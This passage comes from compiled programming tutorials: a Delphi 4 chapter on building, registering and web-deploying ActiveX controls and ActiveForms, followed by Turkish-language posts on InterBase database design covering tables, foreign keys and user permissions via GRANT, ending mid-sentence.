Creating New ActiveX Controls There are two ways to create an ActiveX control in Delphi: · From an existing VCL component · From scratch using an ActiveForm In this section, you create an ActiveX control using both of these methods. Creating an ActiveX Control from an Existing VCL Component Creating an ActiveX control from an existing VCL component is downright simple. After you create a component, you can turn it into an ActiveX control in no time at all. I haven't talked about creating components yet, so I don't want to go into a lot of detail on creating components now (covered on Day 20, "Creating Components"). What you will do, then, is create an ActiveX control from one of the VCL components provided by Borland. Generate the ActiveX Project with the ActiveX Control Wizard The first step is to generate the ActiveX project. As always, Delphi does most of the work for you. All you have to do is supply a few fields in the ActiveX Control Wizard. Here are the steps: 1. Choose File|Close All to close all projects and then choose File|New from the main menu. The Object Repository is displayed. 2. Click the ActiveX page and then double-click the ActiveX Control icon. The ActiveX Control Wizard is displayed (see Figure 15.7). FIGURE 15.7. The ActiveX Control Wizard. 3. Select TButton from the list of classes in the VCL Class Name combo box. The next four fields are automatically filled in with default values. Because this is just a test, you can leave those fields on their default values. The fields are self-explanatory, so I don't need to go over each one. 4. The Threading Model is set to Apartment. Leave this setting as it is. Other threading models include Single, Free, and Both. See the Delphi help for more information on threading models. 5. Check the Include Design-Time License check box. When this option is checked, Delphi will create a design-time license for the control. The design-time license will prevent other programmers from using the control unless they have the license. 6. Check the Include Version Information check box. This will enable you to add version info to the control via the Project Options dialog box.
1412
7. Check the Include About Box check box as well. When this box is checked, Delphi will automatically create an About dialog box for the control. Click OK to close the ActiveX Control Wizard. Delphi will create a project file (ButtonXControl1.bpr) and three units for the project. The first unit is the TButtonX class unit (ButtonXImp1.pas). The second unit is the type library file for the control, named ButtonXControl1_TLB.pas. This file contains the information Delphi needs to create the type library for the control. The third file, About1.pas, is the unit for the About box. If you want to customize the About box, you can do that at this time. The About box is just another Delphi form, so feel free to customize it in any way you like. NOTE: Version info is required in order for your ActiveX controls to work in Visual Basic. Build, Register, and Install the Control Because you aren't making any modifications to the control itself, you can jump right to building the control and registering it. This is the same process you went through when you registered the COM object you created earlier. An extra step is required when implementing ActiveX controls, though, because ActiveX controls have a design-time interface. Try this: 1. Choose Project|Build ButtonXControl1 from the main menu. Delphi builds the ActiveX project. 2. Choose Run|Register ActiveX Server from the main menu. The ActiveX control is registered and Delphi displays a message box telling you that the OCX is registered (ActiveX projects have a default extension of .OCX). Click OK to dismiss the message box. 3. Choose Component|Import ActiveX Control from the main menu. Choose ButtonXControl1 Library (Version 1.0) from the list of installed controls (had you not performed step 2, this entry would not have been present in the list of installed controls). The class name of the button, TButtonX, shows in the Class names list box. 4. Set the Palette page field to ActiveX. Click Install to continue. 5. The Install dialog box is displayed. You are going to install the control into the default Delphi user package DCLUSR40.BPL. The File name field should already contain this package. If it doesn't, choose it from the combo box. The Description field now says Delphi User's Components. Click the OK button to install the control. 6. Click Yes to the message box regarding building and installing DCLUSR40.BPL. Click OK when the message box confirming the installation is displayed. The control is now installed. Test the ActiveX Control Now you can test your new ActiveX control. First, create a new project. NOTE: When you create a new project, Delphi will prompt you to save the package file (DCLUSR40.DPK) and the ActiveX control project. Whether you save these files is up to you. My intention was to have you create a quick ActiveX. There's really no need to save the files. If, however, you think you might want to save the files to examine them later, save the files. Now follow these steps: 1. Locate the ActiveX tab on the Component palette. 2. The last control in the list is the ButtonX control. Select it. 1413
3. Place a ButtonX control on your form. Notice that the button doesn't have a default caption as a regular VCL button does. 4. Change the Caption property to Test. The button's caption changes just as a VCL button's caption would change. Notice the list of properties in the Object Inspector. They are mostly the same properties you would see on a VCL button (the ActiveX was created from a VCL TButton after all), but you might have noticed that the Value column looks slightly different. Remember, this is an ActiveX control and is intended to be used in any environment that hosts ActiveX controls. For that reason, some of the property values are expressed in a more generic way. 5. Double-click the button and you will find that nothing happens. An ActiveX control doesn't have the capability to automatically create an event handler when you double-click the button like a VCL component does. Instead, switch to the Events page and double-click the Value column next to the OnClick event. An event handler is generated. Type this line of code: MessageDlg(`Hey, it works!', mtInformation, [mbOK], 0);
6. Run the program and test the button to ensure that it works. When you have verified that the button works, close the program. 7. Bring up the form and right-click on the button. Choose About from the context menu. The control's About box is displayed. The About box is not customized in any way, but you can go back and do that later if you want (provided you saved the file earlier). NOTE: The idea behind one-step ActiveX is to take a working VCL component and create an ActiveX control from that component. Most of the time, you won't have to modify the ActiveX code in any way. However, you certainly can modify the ActiveX code after it has been generated by Delphi if you so desire. Be aware, though, that if you regenerate the ActiveX code from your original VCL component, all changes made to the ActiveX source will be lost. NOTE: You can create ActiveX controls only from windowed VCL controls (controls derived from TWinControl or one of its descendents). The list of VCL controls from which you can build an ActiveX control contains all installed components that specifically meet this criteria. Unregister the ActiveX Control After experimenting with your new ActiveX control, you should unregister it so that it doesn't occupy space in the Registry. To unregister the ActiveX control, do this: 1. Choose Component|Import ActiveX Control from the main menu. 2. Select the ActiveX in the list of installed ActiveX controls and click the Remove button. 3. Click Yes on the confirmation dialog box to have Delphi unregister the ActiveX. Alternatively, you can load the ActiveX project (if you previously saved it) and choose Run|Unregister ActiveX Server from the main menu. NOTE: If all else fails, you can always locate the ActiveX control in the Registry and delete the key for that control. Use the Registry Editor's find function to find the key (search for the control's name or its GUID). Naturally, you want to be careful when editing the Registry manually.
1414
Creating ActiveForms Creating an ActiveForm is almost as easy as creating an ActiveX from an existing VCL component. Naturally, you can create a complex ActiveX containing many components on a single form. Contrary to what its name implies, however, an ActiveForm can be used to create a simple ActiveX control from scratch (a colored button, for example). In other words, ActiveForms are not only for creating fancy forms with dozens of gadgets. They are for creating single-use ActiveX controls as well. In this section, you will create an ActiveForm. The ActiveForm will have two edit controls, a label and a button. The button will take the contents of the two edit controls, multiply them together, and display the result in the label. Yes, I know it doesn't require a lot of imagination to stick with the "multiply two numbers" idea, but my goal is to show you how to create an ActiveForm with the minimum amount of code. Keeping the code to a minimum allows you to focus on the ActiveForm creation process without getting bogged down in code. Create the ActiveForm Creating an ActiveForm is so easy it's amazing. Follow these steps: 1. Close all projects and then choose File|New from the main menu. The Object Repository is displayed. 2. Double-click the ActiveForm icon. The ActiveForm Wizard is displayed. This dialog box is identical to the ActiveX Control Wizard except for the fact that the VCL Class Name field is grayed (it doesn't apply here). 3. Enter MyFormX in the New ActiveX Name field. 4. Change the Implementation Unit field to read MyFormImpl.pas. 5. Change the Project Name field to MyFormProj.dpr. 6. Leave the Thread Model set to Apartment. Check the Include Version Information check box. 7. Click the OK button to continue. Delphi creates the required units and displays a form. Create the Form An ActiveForm form is just a regular form at this stage. You can add controls to the form, add code, and respond to events just like you do for a form that belongs to an application. The one difference is that the title bar on an ActiveForm does not appear on the control itself. It's just there at design time. In this step, you will add components and code to make the ActiveForm functional. As you work through the steps, it might help to refer to Figure 15.8 later in the chapter, which shows the completed form. I'm going to give you the primary components in the following steps and let you finish the rest on your own. Perform these steps: 1. Size the form to approximately 175 (width) by 275 (height). 2. Add an Edit component near the top-center of the form (see Figure 15.8). Change its Name property to Num1Edit, its Text property to 0, and its Width to 50 or so (the exact width is not important). Change the AxBorderStyle property to afbRaised. 3. Click on the Edit component and copy it to the Clipboard; paste a new component from the Clipboard. Place the new component below the first. Change its Name property to Num2Edit. 4. Place a Label component below the two edit controls. This label will display the results. Change the label's Name property to ResultLbl and its Caption property to 0. 1415
5. Place a Button component on the form to the right of the Edit components. Change its Name to GoButton and its Caption to Go!. 6. Double-click the button and make the OnClick event handler look like this: procedure TMyFormX.GoButtonClick(Sender: TObject); begin try ResultLbl.Caption := IntToStr( StrToInt(Num1Edit.Text) * StrToInt(Num2Edit.Text)); except on EConvertError do MessageDlg(`Oops! You entered an invalid value.', mtError, [mbOK], 0); end; end;
This code simply extracts the values of the two edit controls, multiplies them together, and displays the result in the ResultLbl label. The exception handling code displays a message box if the user enters invalid values. An EConverError exception will be raised if the conversion from text to integer fails (if one of the edit controls contains text, for example). 7. Add additional labels to match Figure 15.8. 8. Choose View|Type Library from the main menu. In the Information page, change the Help String field to My Test ActiveForm Library. This is the text that will be displayed in the Import ActiveX dialog box when you install the ActiveForm. 9. Save the project. Accept the default filenames. (You specified them in the ActiveForm Wizard.) Figure 15.8 shows the completed form. FIGURE 15.8. The finished ActiveForm. Build, Register, and Import the ActiveForm Now you can build, register, and import the ActiveForm. When built, the ActiveForm is like any other ActiveX control. Because you've done this several times now, I'm not going to go over every step. Follow these steps: 1. Choose Project|Build MyFormProj from the main menu. 2. When the project is built, choose Run|Register ActiveX Server from the main menu. 3. Choose Component|Import ActiveX Control from the main menu. Install My Test ActiveForm Library (Version 1) into the DCLUSR40 package. Install to the ActiveX page or any other page you choose. The ActiveForm is now installed as an ActiveX control. Try the ActiveForm Now it's time to take the ActiveForm for a test drive. This will be fairly simple: 1. Create a new application. 2. Click the ActiveX tab on the Component palette and choose MyFormX button (the one with the default Delphi icon). 3. Place a MyFormX control on your form. 4. Run the program and test out the ActiveX. That's all there is to it. With Delphi, great-looking ActiveX controls are a breeze to create! There simply is no better development environment for creating ActiveX controls than Delphi, bar none.
1416
Changing the ActiveX Palette Bitmap Ultimately you will want to change the bitmap of the ActiveX from the default that Delphi provides to one of your own design. Changing the bitmap requires following these steps: 1. Create a binary resource file (.RES) with Image Editor. 2. Create a 24¥24 bitmap. Give the bitmap a numeric name (2 for example). 3. Link the resource file to the ActiveX project with the $R compiler directive. (Linking resources was discussed on Day 8, "Creating Applications in Delphi" and is discussed further on Day 20, "Creating Components.") 4. Modify the ActiveX class factory creation routine in the implementation unit (the ActiveForm's .PAS file). A typical class factory creation routine looks like this (it's in the initialization section at the bottom of the unit): TActiveFormFactory.Create( ComServer, TActiveFormControl, TMyFormX, Class_MyFormX, 1, { Change this number. } `', OLEMISC_SIMPLEFRAME or OLEMISC_ACTSLIKELABEL, tmApartment);
Notice the line I have marked with a comment. This parameter of TActiveFormFactory.Create is the resource number of the bitmap you want displayed on the Component palette. If you saved the new bitmap with a name of 2, you would replace the 1 in this code snippet with a 2. 5. Rebuild, reregister, import, and install the ActiveForm again. The new bitmap should now show up in the Component palette. Alternatively, you can modify the ActiveForm project's .RES file and change the bitmap named 1 to look like you want.
Web Deploying ActiveX Controls and ActiveForms One of the great features of ActiveForms is that you can use them on a Web page. In order to use an ActiveForm on a Web page, you must use the Web Deploy option. Using Web Deploy requires a Web server, so I can't effectively walk you through the Web deployment process. I can, however, give you a little insight into the process. When you choose Web Deploy, Delphi performs two tasks: · Builds the ActiveX control and copies the file to the Web Deploy target directory · Creates an HTML file that contains the code needed to load the ActiveX control The locations of these files is determined by the Web deployment options. Let's look at that next.
Web Deployment Options Before you can use Web Deploy, you must set the Web deployment options. To set the Web deployment options, choose Project|Web Deployment Options from the main menu. The Web Deployment Options dialog box is displayed, as shown in Figure 15.9. Figure 15.9. The Web Deployment Options dialog box. At the bottom of the Web Deployment Options dialog box is a check box labeled Default. Check this box if you want the settings you have specified to be the new defaults for future projects. Most of the time, you will deploy to the same Web site, so you will probably want to set the defaults after you have everything set up just the way you want it.
1417
Project Page: Directories and URLs Section The Directories and URLs section is where you specify the target location for your ActiveX. The Target dir field is used to specify the directory where Delphi will copy the ActiveX after it is built. This field must be a directory--it cannot be an URL location. If you are like me, you might not have direct access to the directory where your Web site is located. (TurboPower's Webster Royland keeps access pretty tightly controlled.) If that is the case, you will have to specify a local directory in this field and then later use your Web publishing software to publish the files to your Web site. The Target URL field is used to specify the page where the ActiveX will reside on the server. This page is used by Delphi when it creates the HTML page that shows the control. For example, the HTML file that Delphi created for me is shown in Listing 15.4. (I had to break a couple of lines because they were too long for the page.) LISTING 15.4. THE HTML CODE GENERATED BY DELPHI FOR THE ACTIVEX FILE. Delphi 4 ActiveX Test Page
Notice the URL in the codebase statement. This is the path I typed in the Target URL field of the Web Deployment Options dialog box. By the way, you can copy the entire OBJECT tag from the Delphi-generated HTML code directly to your Web page's HTML source when you get ready to officially deploy your ActiveX code. NOTE: The name of the HTML file created by Delphi is the project name with an extension of .htm. The HTML dir field of the Web Deployment Options dialog box is used to specify the location where Delphi will place the HTML code it generates (refer to Listing 15.4). As with the Target dir field, if you don't have direct access to your Web site's directories, you will have to specify a local directory and then publish the HTML file to your Web site. Project Page: General Options Section This section is where you specify the global Web deployment options. The Use CAB file compression field determines whether the ActiveX is compressed. Compressing the ActiveX reduces the size of your ActiveX, making downloading the control that much faster. I used CAB compression on the ActiveForm created earlier in the project and the ActiveX size went from 312KB in OCX form to 204KB in CAB form. Windows takes care of automatically decompressing and registering the ActiveX, so there's no real disadvantage to using CAB compression. The Include file version number indicates whether Delphi should include the version number in the codebase statement (again refer to Listing 15.4). The version tag is optional, so you don't specifically need it. Note, however, that some browsers won't load
1418
the ActiveX if the version tag is present (Netscape Navigator with an ActiveX plug-in, for example). The Auto increment release number will automatically increment the version number in the ActiveX's version info each time the ActiveX is deployed. The Code sign project option plays an important role in ActiveX deployment. When this option is on, Delphi will code sign the ActiveX. Code signing is the process of attaching a binary signature to a file. This binary signature identifies the company that created the ActiveX, among other information. Code signing is important because Internet Explorer expects ActiveX controls to be code signed. If Internet Explorer's security level is set to High or Medium, any ActiveX controls that are not code signed will not load. Simply put, if you are going to deploy your ActiveX controls so that the public can use them, they must be code signed. The Code Signing page of the Web Deployment Options dialog box contains the information needed to code sign the ActiveX. Delphi does not provide the credentials file or the private key needed to code sign files. To obtain a credentials file and private key, you will need to contact Microsoft. For more information, search the Microsoft Web site for the terms "Digital Signing" and "Certificate Authority." The Deploy required packages and Deploy additional files options are used if you have built your ActiveX with runtime packages or if there are additional files that must ship with your control. If you choose either of these options, you must specify the packages or additional files on the Packages and Additional Files pages of the Web Deployment Options dialog box. NOTE: When in doubt, click the Help button in the Web Deployment Options dialog box. Delphi help explains each of the pages of this dialog box.
Web Deploy After you set the deployment options, you are ready to deploy your ActiveX. To deploy the ActiveX, simply load the ActiveX project and choose Project|Web Deploy from the Delphi main menu. Delphi will build the ActiveX and deploy it based on the settings in the Web Deployment Options dialog box. If you elected to use CAB compression, Delphi will compress the ActiveX into a CAB file as well. Remember, if you don't have direct access to your Web site's directories, you will have to publish the ActiveX and HTML file to your Web site before you can test the ActiveX. The act of deploying the ActiveX is trivial--setting the Web deployment options is the hard part. Figure 15.10 shows the example ActiveForm created earlier running on a Web page. FIGURE 15.10. The test ActiveForm running on a Web page. NOTE: ActiveX controls have virtually no security restrictions. Be careful when downloading ActiveX controls from unknown (or unverified) sources. When downloaded, an ActiveX control has access to your entire system. Be equally careful when writing your own ActiveX controls. Make absolutely sure that your ActiveX control won't do anything to negatively impact other users' machines.
Summary I won't lie to you--there's a lot more to COM and ActiveX than what is presented here. For example, I didn't talk about OLE. OLE, like ActiveX, is a subset of COM. OLE adds a layer to COM to enable applications to link and embed OLE automation servers in a container application. Still, you learned a great deal about COM and ActiveX today. Most importantly, you found out how to create COM objects, ActiveX controls, and ActiveForms. 1419
You also learned a bit about Web Deploy and how to use it to deploy your ActiveX controls on a Web page.
Workshop The Workshop contains quiz questions to help you solidify your understanding of the material covered and exercises to provide you with experience in using what you have learned. You can find the answers to the quiz questions in Appendix A, "Answers to the Quiz Questions."
Q&A Q Do I have to understand the inner workings of COM to write ActiveX controls in Delphi? A Although some understanding of COM is certainly helpful, it is not vital to creating ActiveX controls with Delphi. Delphi makes it easy to create ActiveX controls without an in-depth understanding of COM. Q What is a type library? A A type library is a binary file that describes the interfaces, data types, methods, and classes in a COM library (including ActiveX). Q Are OLE and COM the same thing? A No. COM is the base upon which OLE is built. OLE is much more complex and convoluted than COM. Certainly OLE has more functionality, but OLE is a bloated beast that is best avoided if possible. Q I noticed some nifty-looking ActiveX controls registered on my system, so I installed them on the Delphi Component palette. They show up on the Component palette but when I try to use one of the controls, I get an error message about a design-time license. Why is that? A In short, you are not authorized to use those controls in a design environment (Delphi, for example). ActiveX users must deploy and register their ActiveX controls on every system that uses those controls. To prevent anyone from freely using those controls, the control vendors require a design-time license before the control can be used at design time. When you purchase an ActiveX control from a vendor, you get the design-time license. Q I created an ActiveX control and placed it on my form. The program used to work fine, but now when I try to run the program I get an exception that says, Class not registered. Why is that? A Every ActiveX control must be registered on the system on which it is being used. You might have inadvertently unregistered the ActiveX control on your system some time after you originally installed the control. To reregister the control, load the ActiveX project in Delphi and choose Run|Register ActiveX Server. Alternatively, you can register the OCX file with the TREGSVR.EXE utility. Q I created and installed an ActiveForm and everything went fine. Later I wanted to change the ActiveForm. I couldn't compile the ActiveForm project, though, because I kept getting an error, Could not create output file MyProj.OCX. What's wrong? A You need to remove the ActiveForm control from the Delphi Component palette before you can rebuild the control. When the control is installed in Delphi, its OCX file is loaded by the Delphi IDE and cannot be overwritten. 1420
Q Web Deploy confuses me. There are so many options. Am I the only one who doesn't understand this stuff? A Certainly not. After you have worked through the Web Deploy process a few times, it's not nearly so daunting as it might appear the first time you try it. Q I'm having problems getting my ActiveX to work on a Web page. I keep getting an error from Internet Explorer when I try to load the page. The error says, Your current settings prohibit ActiveX controls. What's wrong? A Your ActiveX control is not code signed. An ActiveX control must be code signed before Internet Explorer will download the control when the user's security settings are set to either medium or high.
Quiz 1. What is the base (or parent) interface for all COM interfaces? 2. What is a GUID? 3. What happens when a COM object's reference count reaches 0? 4. What is the name of the Delphi utility used when working with type libraries? 5. How do you create GUIDs when writing COM objects in Delphi? 6. What do you choose from the Object Repository when creating an ActiveX from a VCL component? 7. Can you use Delphi-created ActiveX controls in Visual Basic? 8. After your ActiveX control is built and registered, how do you install it to the Delphi Component palette? 9. How do you unregister an ActiveX that you have created? 10. Can you use the ActiveX controls created in Delphi on a Web page?
Exercises 1. Create a simple COM object from scratch. It isn't important what the COM object does, just that you go through the steps of creating it. 2. Write a Delphi application that uses the COM object created in exercise 1 (don't forget to register the COM object). 3. Create an ActiveX control from a VCL TEdit component. Install the control to the Delphi Component palette and use it on a form. 4. If you have access to Visual Basic, take the ActiveX created in exercise 3 and use it in a VB application. 5. Create an ActiveForm control of your own design. 6. If you have a Web site, deploy the ActiveForm created in step 5 and display it on a Web site page. 7. Extra Credit: Modify the ActiveForm control created in step 5 so that it uses a custom bitmap on the Delphi Component palette rather than the default bitmap. 1421
INTERBASE ile İSTEMCİ / SUNUCU VERİ TABANI TASARIMI
0
11 Şub 2002 22:56 Eklendi
InterBase 1. Bölüm Neden Interbase Paradox, Dbase, Access,..vb veri tabanları client/server mimariyi desteklemezler ve sadece küçük veri tabanlarını yönetmek için tasarlanmışlardır. Paradox ve Dbase aslında bir DBMS ‘değildir (DataBase Management System - Veri Tabanı Yönetim Sistemi) Paradox ve Dbase tablolarında veri tabanının yönetimini BDE (Borland Database Engine) üstlenmektedir. Interbase kullanırken BDE’nin yüklenmesine gerek yoktur. Paradox tabloları onbinlerce kaydı işleyebilirler eğer projelerinizde Client/Server (İstemci/Sunucu) mimarisine dayalı projeler geliştirmiyorsanız pek tabi Paradox’ta kullanabilirsiniz. Ama profesyonel bir veri tabanı programcısı olacaksanız mutlaka bir DBMS ‘de deneyim sahibi olmanız gerekir. Interbase; Oracle, MS-SQL gibi büyük veri tabanlarının bir çok olanağına sahiptir. Interbase sunucularda saklanan çok büyük sayıdaki kayıtları yönetmek için geliştirilmiştir. Interbase yazılımcılara asgari özelliklere sahip bir arabirim sunar ve Delphi, C++ Builder, Visual Basic vb gibi (client-side) istemci yakası bir aracı kullanarak programlar yaratmanızı bekler. Ben bu yazıda LIBS’e (Local Interbase Server) referansta bulunacağım. Zaten bir LIBS veritabanını ağ üzerinde gerçek bir istemci/sunucu uygulamasına dönüştürmek için tek yapılması gereken veritabanını sunucu bilgisayara kopyalamak ve varsa alias’ı yeni konuma yönlendirmektir. (ör: copy benimDB.gdb f:\database gibi) Database Yaratmak Interbase Paradox veya Dbase gibi tabloları bir klasörde bulunan ayrı dosyalar halinde saklanmaz. Bunun yerine veritabanı denilen tek bir büyük dosyada tutulur. Bunun için önce bir veri tabanı yaratmamız gerekir daha sonra bir dizi tablo yaratabiliriz. Biz burada database ve tablo yaratmak için WISQL (Windows Interactive Standart Query Language) kullanacağız. WISQL databaselerin ana dili olan SQL komutlarıyla çalışır ve bu da tanımladığınız veritabanının yapısını anlamanızı kolaylaştırır. File->Create Database seçilir ve gelen iletişim kutusundan “Location Info” kısmını Local Engine olarak ayarlayalım. Ve sırasıyla Database : c:\data\dersane.gdb , UserName = SYSDBA , Passwor = masterkey seçelim. Hemen burada belirtmeliyim ki GDB uzantısını kullanmak bir zorunluluk değildir, ama standart’ı seven biriyseniz böyle yapabilirsiniz. Ben interbase için veritabanı yaratırken hep GDB uzantısını kullanırım. Evet şimdi dersane isimli içi boş bir veri tabanımız var.Aslında içi boş bir veritabanı demek yanlış olur 1422
çünkü Interbase kendi system tablolarını da biz veritabanını yarattığımızda yaratmış olacaktır. Şimdi bu database içerisinde bir tablo yaratalım. Tablomuzun ismi sicil olsun. Ama daha önce yarattığımız veritabanına bağlanmamız gerek. Yani File->Connect to Database seçtikten sonra database = c:\data\dershane.gdb yazıp username ve şifreyi de yazdıktan sonra veritabanına bağlanmış olacağız. Şimdi SQL ifadelerini kullanarak sicil adında bir tablo yaratacağız. CREATE TABLE SICIL (OGRNO DOUBLE PRECISION NOT NULL, ADI VARCHAR(20), SOYADI VARCHAR(20), DOGTAR DATE, CINSIYETI SMALLINT, ADRESI BLOB SUB_TYPE TEXT SEGMENT SIZE 80, ILCE VARCHAR(20), IL VARCHAR(20), POSTAKODU VARCHAR(6), PRIMARY KEY (OGRNO)); Yazıp Ctrl + Enter tuşlarına birlikte basarak bu sorguyu çalıştıralım. Eğer bir hata mesajı yoksa her şey yolunda demektir. Daha sonra File->Commit Work seçip gelen iletişim kutusuna tamam dedikten sonra Sicil isimli tablomuz kalıcı olarak yaratılmış olacak. Şimdi menüden Metadata->Extract Databse veya Metadata->Extract Table ‘ı seçerek tablomuzun ve veritabanımızın yapısını alabiliriz. Böylece dökümanlarımızı daha çabuk oluşturabiliriz. Yukarıda bir çok veri tipine sahip alanlar ve birde Primary anahtar yarattık. Bu aşamadan sonra size tavsiyem DBD (DataBase Desktop) yeri geldiğinde kullanmak için veritabanınızı gösteren bir Alias yaratın. Ben şu an Dersanedb isimli bir alias yarattığınızı varsayıyorum. Bunu şunun için söylüyorum Eğer daha önceki verileriniz Paradox, Dbase vb. tablolarda ise DBD kullanarak otomatik olarak Interbase tabloların çevirebilirsiniz. Böylece Interbase geçiş sürenizde kısalacaktır. Varsayalım Sicil.db adındaki Paradox tablomuzu dersaneDb aliasında bulunan ve dersane isimli interbase veritabanına aynı isimde kopyalamak istiyoruz. DBD’yi çalıştıralım Tools->Utility->Copy seçelim gelen iletişim kutusundan kopyalamak istediğimiz paradox tablosunu bulalım ve Ok butonuna basalım. Şimdi hedef database’i seçmek için dersanedb alias’ını seçelim username ve password girdikten sonra yeni tablo adını yazıp Copy butonuna basalım işte oldu Paradox tablosu artık Interbase tablosuna çevrildi. Şimdi Resim isimli bir tablo yaratacağız ve bu tablodada öğrencilerin resimlerini bulunduracağız. CREATE TABLE RESIM (OGRNO DOUBLE PRECISION NOT NULL, RESIM BLOB SUB_TYPE 0 SEGMENT SIZE 80, ACIKLAMA BLOB SUB_TYPE 0 SEGMENT SIZE 80, PRIMARY KEY (OGRNO)); Ctrl + ENTER ve File->Comit Work seçelim ve bu tabloda kalıcı olarak yaratılmış olsun. Şimdi 3. tablomuzda öğrencinin velisi ile ilgili kayıtları tutacak 1423
CREATE TABLE VELI ( OGRNO DOUBLE PRECISION NOT NULL, VADI VARCHAR(20), VSOYADI VARCHAR(20), VISTEL VARCHAR(15), VGSM VARCHAR(15), PRIMARY KEY (OGRNO) ); Ctrl + ENTER ve File->Comit Work seçelim ve bu tabloda kalıcı olarak yaratılmış olsun. * Primary key olarak yarattığınız alanları mutlaka NOT NULL olarak belirleyin.
INTERBASE ile İSTEMCİ / SUNUCU VERİ TABANI TASARIMI (2)
0
11 Şub 2002 23:00 Eklendi
Yabancı Anahtarlar (FOREIGN KEY) Şimdi bu tablolarda veri bütünlüğünü sağlamak amacı ile yabancı anahtarlar ekleyelim. Aşağıdaki satırdaki yabancı anahtar örneği Resim tablosuna double tipinde OGRNO isimli bir alanı eklemektedir. Böylece Sicil tablomuz master tablo Resim ve Veli tablomuzda detail tablo olarak tanımlanmıştır. Eğer Master tablomuza bağlı detail kayıtlar varsa master tablomuzdaki kaydın silinmesine izin verilmeyecek ve bir aykırı durum bildirilecektir. Veya Detail tabloya Master tabloda olmayan bir öğrenci numarasını girmek istediğimizde yine bir aykırı durum yaratılacaktır ve izin verilmeyecektir. ALTER TABLE RESIM ADD FOREIGN KEY (OGRNO) REFERENCES SICIL(OGRNO); Ctrl + ENTER ve File->Comit Work seçelim böylece bu tabloya kalıcı olarak yabancı anahtar eklenmiş oldu. ALTER TABLE VELI ADD FOREIGN KEY (OGRNO) REFERENCES SICIL(OGRNO); Ctrl + ENTER ve File->Comit Work seçelim böylece bu tabloya kalıcı olarak yabancı anahtar eklenmiş oldu. Şimdi Yabancı anahtarların etkisini görmek üzere birkaç kayıt ekleyelim. INSERT INTO SICIL (OGRNO,ADI,SOYADI) VALUES (1, "Cüneyt","ERDEM"); INSERT INTO SICIL (OGRNO,ADI,SOYADI) VALUES (2, "Lütfiye","ERDEM”); Ctrl + ENTER ve File->Comit Work seçelim böylece bu tabloya kalıcı olarak 2 adet Kayıt eklemiş olduk. Şimdi OGRNO=1 olan master kayda detail kayıtlar ekleyelim. 1424
INSERT INTO RESIM (OGRNO) VALUES (1); //Sadece öğrenci No kaydettik Ve INSERT INTO VELI (OGRNO,VADI,VSOYADI,VISTEL) VALUES (1,"Celal","ERDEM","0.322.XXX 55 55"); Ctrl + ENTER ve File->Comit Work seçelim böylece bu tabloya kalıcı olarak Kayıt eklemiş olduk. Şimdi Ogrno “1” olan master kayda bağlı detail kayıtlar var ve biz bu master kaydı silmek isteyelim. DELETE FROM SICIL WHERE OGRNO = 1; yazıp çalıştırmak için Ctrl+Enter’a baslım. Cevap “Statement failed, SQLCODE = -530“ hiç de açıklayıcı olmayan bir hata mesajı olarak bize rapor edildi. Eğer delphi bileşenleri ile bu kaydı silmeye çalışsaydık Delphi bize bir aykırı durum yaratacak ve master kayda beğlı detail kayıtların olduğunu söyleyen bir hata mesajı rapor edecekti. Oysa Ogrno “2” olan kaydı silmek istediğimizde isteğimiz derhal yerine getirilecektir. Bunun nedeni 2 nolu master kayda bağlı detail kaydın olmayışıdır. “RDBMS ‘lere yeni başlayan arkadaşlar bu kontrolün Delphi içinden de kolayca yapilabileceğini düşünebilirler ama bu onlarca satır kontrol demektir; Ayrıca kodunuzun okunurluğunu ve bakımını da zorlaştıracaktır. Ama böyle bir kontrolü DataBase’in üzerine tanımlarsanız hem bu işlem otomatik yapılacak hem de başka uygulamalar tarafından da tanınacaktır.Zaten diğer yöntem istemci/sunucu uygulama mantığına da tamamen ters düşmektedir.”
INTERBASE ile İSTEMCİ / SUNUCU VERİ TABANI TASARIMI (3)
1
12 Şub 2002 01:24 serwetim
2. Bölüm Interbase’de Güvenlik Geçen bölümde Database, Table, Foreign Key’ ler yaratmayı ve anlamlarını öğrendik. Bu bölümde iyi bir Veri Tabanı Yönetim Sisteminde bulunması gereken güvenlik konusunu inceleyeceğiz. Eğer verileriniz sizin için değerli ve bir kontrol düşkünüyseniz Interbase sizi hayal kırıklığına uğratmayacaktır. Eğer Interbase veri tabanımızı güvenli bir hale getirmek istiyorsak kuşkusuz ilk yapılması gereken SYSDBA kullanıcısının şifresini değiştirmektir. Şifreyi değiştirmek için Interbase Server Manager’a SYSDBA ve masterkey şifresini kullanarak girin. Menüden Tasks->User Security seçimini yapın. SYSDBA kullanıcı adını seçip Modify User ‘ı işaretleyin. Şimdi yeni bir şifre yazın. İşte oldu bu işlemden sonra database tamamen sizin kontrolünüzde olacaktır. Ayrıca bu programı kullanarak Backup/Restore, Maintenance (Bakım) vb işlemleri de yapabilirsiniz. Eğer isterseniz yeni kullanıcılar da tanımlayabilirsiniz. Yaratılan yeni kullanıcıların sistemde hiçbir hakkı olmadığı varsayılır. Kullanıcılara haklar vermek için grant adlı SQL komutunu kullanacağız. Ama önce bir user tanımlayalım. Interbase Server Manager ‘a girelim Tasks->User Security / Add User ‘ı işaretleyelim ve username ‘i USER1 ve PASSWORD’ü de USER1 olarak tanımlayalım. Şimdi bu kullanıcının hemen hemen hiçbir hakkı yok ve biz buna bazı haklar vereceğiz. Öncelikle sicil tablosunu select etme hakkını 1425
verelim. Interbase Windows ISQL ‘i çalıştıralım ve SYSDBA kullanıcısı ile girip database’e bağlanalım ve aşağıdaki SQL cümleciğini yazalım. Grant select on SICIL to USER1 Bu işlemden sonra USER1 kullanıcısı ile database’e bağlanırsanız SICIL tablosunu select edebilecek ama başkada bir şey yapamayacaksınız. Bir kullanıcıya altı farklı hak verebilirsiniz. 1. all : Select, delete, insert, update, execute haklarını içerir. 2. select : Bir tablonun tümünü veya bir kısmını görüntüleyebilme. 3. delete : Bir tablodan veya görüntüsünden (view) kayıt silebilme. 4. insert : Bir tabloya veya görüntüsüne kayıt ekleyebilme. 5. update : Bir tablodaki veya gürüntüsündeki kayıtları güncelleyebilme. 6. execute : Bir Depolanmış yordamı (Stored Procedure) çalıştırabilme. Eğer bir kullanıcıya hem select yetkisi vermek hemde kendisine verilen yetkileri başkasına da verebilme yetkisi verebilmek istersek grant select on sicil to USER1 with grant option satırı ile verebiliriz. Ama bu kullanıcı başka bir kullanıcıya sadece sahip olduğu hakları verebilir. Yani USER1 kullanıcısı başka bir kullanıcıya sadece sicil tablosu üzerinde select hakkı verebilir. Örnekler: Grant insert on sicil to USER1 Grant select on sicil to USER1, USER2, USER3 Grant select, insert, delete, update on sicil to USER1 Grant delete on sicil to USER1 with grant option Yukardaki satırlar ilgili kullanıcılara ilgili tablolar için ilgili hakları verir. Bu hakları 